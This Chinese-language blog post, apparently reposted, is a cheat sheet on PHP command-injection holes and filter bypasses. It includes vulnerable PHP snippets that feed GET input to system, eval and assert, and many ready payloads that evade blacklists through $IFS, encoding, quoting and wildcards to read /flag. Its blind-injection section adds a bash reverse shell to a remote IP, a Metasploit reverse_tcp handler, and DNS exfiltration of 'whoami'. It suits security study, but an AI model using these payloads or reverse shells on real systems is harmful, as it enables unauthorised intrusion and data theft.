命令執行漏洞,繞過過濾姿勢


很久之前的存稿,可能有些錯誤

命令執行漏洞

exec()函數

exec() 不輸出結果,返回最后一行shell結果,所有結果可以保存到一個返回的數組里面。 執行外部程式。
語法 : string exec(string command, string [array], int [return_var]);
傳回值 : 字串
函式種類 : 作業系統與環境

system:調用系統命令函數

<?php $a=$_GET['a']; $output=system($a); echo $output; ?>

assert:assert能幫助我們執行一些php的指令,並且對於代碼的規范不是很嚴格

<?php $a=$_GET['a']; $output=assert($a); echo $output; ?>

eval:eval() 函數把字符串按照 PHP 代碼來計算,該字符串必須是合法的 PHP 代碼,且必須以分號結尾。如果沒有在代碼字符串中調用 return 語句,則返回 NULL。如果代碼中存在解析錯誤,則 eval() 函數返回 false。

<?php $a=$_GET['a']; $output=eval($a); echo $output; ?>

passthru:passthru — 執行外部程序並且顯示原始輸出。

<?php $a=$_GET['a']; $output=passthru($a); echo $output; ?>

preg_replace:pattern處存在一個"/e"修飾符時,$replacement的值會被當成php代碼來執行。

<?php $a = $_GET['a']; echo preg_replace("/test/e", $a, "just test!") ?>

popen:popen() 函數打開進程文件指針,就跟c語言當中fopen函數差不多。

<?php $file = popen("/bin/ls","r"); pclose($file); ?>

命令執行漏洞的空格過濾

在linux當中,%09(tab)、$IFS$9、 ${IFS}、$IFS這些都可以當做空格符作為代替。

一些命令分隔符:

linux中:%0a 、%0d 、; 、& 、| 、&&、||
windows中:%0a、&、|、%1a

花括號的別樣用法:

在Linux bash中還可以使用{OS_COMMAND,ARGUMENT}來執行系統命令,例如{mv1,文件1,文件2}

拼接繞過黑名單

a=l;b=s;$a$b
a=fl;b=ag;cat $a$b

編碼繞過
$(printf "\154\163") ==>ls
$(printf "\x63\x61\x74\x20\x2f\x66\x6c\x61\x67") ==>cat /flag
{printf,"\x63\x61\x74\x20\x2f\x66\x6c\x61\x67"}|\$0 ==>cat /flag
單引號,雙引號繞過:

ca''t flag 或ca""t flag

反斜杠繞過

1; l\s -l;1

利用shell特殊變量繞過

1; l$@s -l;1 · 1; l$*s -l;1 1; l$ns -l;1 //n為任意數字都可以

繞過長度限制

1>1.txt創建一個空文件,當然任何大於1的數字都可以被用來創建一個空文件。

內聯執行
root@kali:~# echo “a`ifconfig`”  或者 echo “abcd $(pwd)
“abridge0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500 ether 46:1e:b4:09:b7:c9 txqueuelen 1000 (Ethernet) RX packets 0 bytes 0 (0.0 B) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 4 bytes 288 (288.0 B) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0 eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500 inet 192.168.114.128 netmask 255.255.255.0 broadcast 192.168.114.255 inet6 fe80::20c:29ff:fe12:e944 prefixlen 64 scopeid 0x20 ether 00:0c:29:12:e9:44 txqueuelen 1000 (Ethernet) RX packets 71893 bytes 25359864 (24.1 MiB) RX errors 1 dropped 0 overruns 0 frame 0 TX packets 4286 bytes 274575 (268.1 KiB) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0 device interrupt 19 base 0x2000 lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536 inet 127.0.0.1 netmask 255.0.0.0 inet6 ::1 prefixlen 128 scopeid 0x10 loop txqueuelen 1000 (Local Loopback) RX packets 80 bytes 4136 (4.0 KiB) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 80 bytes 4136 (4.0 KiB) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0”
其他方法

利用通配符: 1; cat${IFS}fl* ;1
最簡單的:1;cat *;1
1; cat${IFS}fla? ;1
1; cat${IFS}fla[^1] ;1

當cat被過濾后
(1)more:一頁一頁的顯示檔案內容
(2)less:與 more 類似,但是比 more 更好的是,他可以[pg dn][pg up]翻頁
(3)head:查看頭幾行
(4)tac:從最后一行開始顯示,可以看出 tac 是 cat 的反向顯示
(5)tail:查看尾幾行
(6)nl:顯示的時候,順便輸出行號
(7)od:以二進制的方式讀取檔案內容
(8)vi:一種編輯器,這個也可以查看
(9)vim:一種編輯器,這個也可以查看
(10)sort:可以查看
(11)uniq:可以查看
(12)file -f:報錯出具體內容
<與<<的區別

使用>命令會將原有文件內容覆蓋,如果是存入不存在的文件名,那么就會新建該文件再存入。
>>符號的作用是將字符串添加到文件內容末尾,不會覆蓋原內容。

文件讀取繞過
root@kali:~# ls -t
flag
root@kali:~# ls -t > a
root@kali:~# sh a
flag wwww

對於長度有限制

root@kali:~# l\
> s\
>  \
> -\
> l\
> >q
root@kali:~# cat q
總用量 5216
-rw-r--r--  1 root    root          0 5月   4 11:59 1
-rw-r--r--  1 root    root    1319936 2月  27 16:45 1.exe
-rw-r--r--  1 root    root          0 1月  29 16:03 1.jpg
-rwxr-xr-x  1 root    root         62 1月  21 21:47 1.sh

利用base64編碼繞過
root@kali:~# `echo Y2F0Cg== |base64 -d` testip.txt 
sss
ddd
處理無回顯的命令執行漏洞

利用bash命令: 使用nc監聽我們的8080端口:nc -l -p 8080 -vvv 把bash命令傳過來:bash -i >& /dev/tcp/ip地址/8080 0>&1 關於這個的具體實現原理可以再網上找下,有很多詳細的說明。

msf

利用msf也可以,

use exploit/multi/handler
set payload linux/armle/shell/reverse_tcp
set lport 8080
set lhost ip地址
set exitonsession false
exploit -j
利用dns解析
root@kali:~# ping `whoami`.******.ceye.io 
ping: root.******.ceye.io: 未知的名稱或服務


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM